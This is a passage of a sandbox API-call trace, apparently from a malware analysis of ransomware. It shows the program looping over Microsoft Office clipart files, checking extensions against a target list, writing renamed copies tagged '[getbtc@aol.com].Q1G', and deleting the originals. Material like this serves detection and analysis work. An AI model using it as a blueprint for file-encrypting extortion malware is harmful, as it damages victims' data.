(lpString=".jpg") returned 4 [0253.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.441] lstrlenW (lpString=".doc") returned 4 [0253.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString=".docx") returned 5 [0253.441] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0253.441] lstrlenW (lpString=".pdf") returned 4 [0253.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.441] lstrlenW (lpString=".xls") returned 4 [0253.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.441] lstrlenW (lpString=".xlsx") returned 5 [0253.442] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0253.442] lstrlenW (lpString=".ppt") returned 4 [0253.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.442] lstrlenW (lpString=".zip") returned 4 [0253.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.442] lstrlenW (lpString=".rar") returned 4 [0253.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.442] lstrlenW (lpString=".bz2") returned 4 [0253.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.442] lstrlenW (lpString=".7z") returned 3 [0253.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.442] lstrlenW (lpString=".dbf") returned 4 [0253.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.442] lstrlenW (lpString=".1cd") returned 4 [0253.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0253.442] lstrlenW (lpString=".jpg") returned 4 [0253.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.442] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.442] lstrlenW (lpString="J0089945.WMF") returned 12 [0253.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0253.505] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=19898) returned 1 [0253.505] CloseHandle (hObject=0x37c) returned 1 [0253.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0253.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.624] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.624] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.625] GetLastError () returned 0x0 [0253.625] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4dba, lpOverlapped=0x0) returned 1 [0253.627] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x4dc0, lpOverlapped=0x0) returned 1 [0253.628] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.628] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.628] SetEndOfFile (hFile=0x3a0) returned 1 [0253.628] CloseHandle (hObject=0x3a0) returned 1 [0253.628] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.628] SetEndOfFile (hFile=0x394) returned 1 [0253.630] CloseHandle (hObject=0x394) returned 1 [0253.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0253.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.631] lstrlenW (lpString=".doc") returned 4 [0253.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.631] lstrlenW (lpString=".docx") returned 5 [0253.631] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0253.631] lstrlenW (lpString=".pdf") returned 4 [0253.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString=".xls") returned 4 [0253.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.632] lstrlenW (lpString=".xlsx") returned 5 [0253.632] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0253.632] lstrlenW (lpString=".ppt") returned 4 [0253.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.632] lstrlenW (lpString=".zip") returned 4 [0253.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.632] lstrlenW (lpString=".rar") returned 4 [0253.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString=".bz2") returned 4 [0253.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString=".7z") returned 3 [0253.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.632] lstrlenW (lpString=".dbf") returned 4 [0253.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.632] lstrlenW (lpString=".1cd") returned 4 [0253.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.632] lstrlenW (lpString=".jpg") returned 4 [0253.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.632] lstrlenW (lpString=".doc") returned 4 [0253.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString=".docx") returned 5 [0253.632] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0253.632] lstrlenW (lpString=".pdf") returned 4 [0253.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.632] lstrlenW (lpString=".xls") returned 4 [0253.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.632] lstrlenW (lpString=".xlsx") returned 5 [0253.632] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0253.633] lstrlenW (lpString=".ppt") returned 4 [0253.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.633] lstrlenW (lpString=".zip") returned 4 [0253.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.633] lstrlenW (lpString=".rar") returned 4 [0253.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.633] lstrlenW (lpString=".bz2") returned 4 [0253.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.633] lstrlenW (lpString=".7z") returned 3 [0253.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.633] lstrlenW (lpString=".dbf") returned 4 [0253.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.633] lstrlenW (lpString=".1cd") returned 4 [0253.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0253.633] lstrlenW (lpString=".jpg") returned 4 [0253.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.633] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.633] lstrlenW (lpString="J0090149.WMF") returned 12 [0253.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.634] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=28212) returned 1 [0253.634] CloseHandle (hObject=0x394) returned 1 [0253.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0253.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.634] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.634] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.635] GetLastError () returned 0x0 [0253.635] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x6e34, lpOverlapped=0x0) returned 1 [0253.638] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x6e40, lpOverlapped=0x0) returned 1 [0253.639] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.639] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.639] SetEndOfFile (hFile=0x3a0) returned 1 [0253.639] CloseHandle (hObject=0x3a0) returned 1 [0253.639] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.639] SetEndOfFile (hFile=0x394) returned 1 [0253.641] CloseHandle (hObject=0x394) returned 1 [0253.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0253.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.643] lstrlenW (lpString=".doc") returned 4 [0253.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.643] lstrlenW (lpString=".docx") returned 5 [0253.643] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.643] lstrlenW (lpString=".pdf") returned 4 [0253.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.643] lstrlenW (lpString=".xls") returned 4 [0253.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.643] lstrlenW (lpString=".xlsx") returned 5 [0253.643] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.643] lstrlenW (lpString=".ppt") returned 4 [0253.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.643] lstrlenW (lpString=".zip") returned 4 [0253.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.643] lstrlenW (lpString=".rar") returned 4 [0253.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.643] lstrlenW (lpString=".bz2") returned 4 [0253.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.643] lstrlenW (lpString=".7z") returned 3 [0253.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.643] lstrlenW (lpString=".dbf") returned 4 [0253.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.644] lstrlenW (lpString=".1cd") returned 4 [0253.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.644] lstrlenW (lpString=".jpg") returned 4 [0253.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.644] lstrlenW (lpString=".doc") returned 4 [0253.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString=".docx") returned 5 [0253.644] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.644] lstrlenW (lpString=".pdf") returned 4 [0253.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString=".xls") returned 4 [0253.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.644] lstrlenW (lpString=".xlsx") returned 5 [0253.644] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.644] lstrlenW (lpString=".ppt") returned 4 [0253.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.644] lstrlenW (lpString=".zip") returned 4 [0253.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.644] lstrlenW (lpString=".rar") returned 4 [0253.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString=".bz2") returned 4 [0253.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString=".7z") returned 3 [0253.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.644] lstrlenW (lpString=".dbf") returned 4 [0253.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.644] lstrlenW (lpString=".1cd") returned 4 [0253.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned 63 [0253.645] lstrlenW (lpString=".jpg") returned 4 [0253.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.645] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.645] lstrlenW (lpString="J0090390.WMF") returned 12 [0253.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.646] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=17638) returned 1 [0253.646] CloseHandle (hObject=0x3b8) returned 1 [0253.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0253.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.646] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.646] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.652] GetLastError () returned 0x0 [0253.652] ReadFile (in: hFile=0x3b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x44e6, lpOverlapped=0x0) returned 1 [0253.653] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x44f0, lpOverlapped=0x0) returned 1 [0253.654] ReadFile (in: hFile=0x3b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.655] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.655] SetEndOfFile (hFile=0x3a0) returned 1 [0253.655] CloseHandle (hObject=0x3a0) returned 1 [0253.655] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.655] SetEndOfFile (hFile=0x3b8) returned 1 [0253.657] CloseHandle (hObject=0x3b8) returned 1 [0253.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0253.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.658] lstrlenW (lpString=".doc") returned 4 [0253.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.658] lstrlenW (lpString=".docx") returned 5 [0253.658] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0253.658] lstrlenW (lpString=".pdf") returned 4 [0253.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.658] lstrlenW (lpString=".xls") returned 4 [0253.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.658] lstrlenW (lpString=".xlsx") returned 5 [0253.658] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0253.658] lstrlenW (lpString=".ppt") returned 4 [0253.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.658] lstrlenW (lpString=".zip") returned 4 [0253.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.658] lstrlenW (lpString=".rar") returned 4 [0253.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.658] lstrlenW (lpString=".bz2") returned 4 [0253.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.658] lstrlenW (lpString=".7z") returned 3 [0253.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.659] lstrlenW (lpString=".dbf") returned 4 [0253.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.659] lstrlenW (lpString=".1cd") returned 4 [0253.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.659] lstrlenW (lpString=".jpg") returned 4 [0253.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0253.659] lstrlenW (lpString=".doc") returned 4 [0253.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString=".docx") returned 5 [0253.659] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0253.659] lstrlenW (lpString=".pdf") returned 4 [0253.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.659] lstrlenW (lpString=".xls") returned 4 [0253.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") 